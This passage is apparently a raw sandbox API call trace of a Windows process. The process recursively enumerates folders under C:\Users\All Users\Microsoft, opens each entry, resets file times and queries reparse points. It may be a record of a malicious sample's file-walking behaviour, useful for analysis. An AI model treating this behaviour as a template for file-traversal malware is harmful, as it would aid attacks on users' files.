ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x41d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="")) returned 1 [0091.281] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe5bc2f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x41d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="")) returned 0 [0091.281] GetLastError () returned 0x12 [0091.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb278) returned 1 [0091.281] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.281] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354160) returned 1 [0091.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0091.282] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe5bc2f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0xe5bc2f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0 [0091.282] GetLastError () returned 0x12 [0091.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb168) returned 1 [0091.282] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0091.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.282] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.282] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfc65d150, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc65d150, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0091.283] GetLastError () returned 0x12 [0091.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faec0) returned 1 [0091.283] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.283] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.283] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="")) returned 1 [0091.283] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.284] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage" (normalized: "c:\\users\\all users\\microsoft\\device stage"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.284] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage" (normalized: "c:\\users\\all users\\microsoft\\device stage"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.284] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.284] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.284] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.285] NtClose (Handle=0x15c) returned 0x0 [0091.285] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.285] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faec0 [0091.286] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f40 [0091.286] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.286] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0091.286] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0091.286] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0 [0091.286] GetLastError () returned 0x12 [0091.286] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9140 [0091.286] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.286] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.286] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0091.286] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.287] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.288] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.288] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0091.288] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.288] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0091.288] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.289] NtClose (Handle=0x15c) returned 0x0 [0091.289] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.289] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb168 [0091.290] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0091.290] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.290] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="")) returned 1 [0091.290] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="")) returned 1 [0091.290] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="")) returned 0 [0091.290] GetLastError () returned 0x12 [0091.290] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9180 [0091.290] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0091.290] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.290] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="")) returned 1 [0091.290] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1340e10 [0091.291] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354160 [0091.291] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.291] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0091.291] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0091.291] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.292] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0091.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.292] NtClose (Handle=0x15c) returned 0x0 [0091.292] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1354160) returned 1 [0091.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.292] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb278 [0091.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354160 [0091.293] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.293] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354790 [0091.293] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0091.295] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd96989e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.295] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0091.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.295] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.295] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.296] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.296] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354898 [0091.297] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb278) returned 1 [0091.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6838 [0091.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13549a0 [0091.297] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.297] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7c5b0d9, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0xc7c5b0d9, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0xc7c5b0d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0091.297] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.298] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.298] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6858 [0091.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354aa8 [0091.299] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.299] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f07a66f, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f07a66f, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76b3ce5, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1 [0091.299] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.300] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.300] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6878 [0091.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354bb0 [0091.301] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.301] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0a07cc, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0a07cc, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1 [0091.301] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.302] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.302] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f6898 [0091.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354cb8 [0091.303] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.303] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0c6929, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0c6929, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc76d9e43, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 1 [0091.303] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.304] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12faf48) returned 1 [0091.304] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12faf48 [0091.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f68b8 [0091.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1354dc0 [0091.305] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x9980) returned 0x135c9e8 [0091.305] FindNextFileW (in: 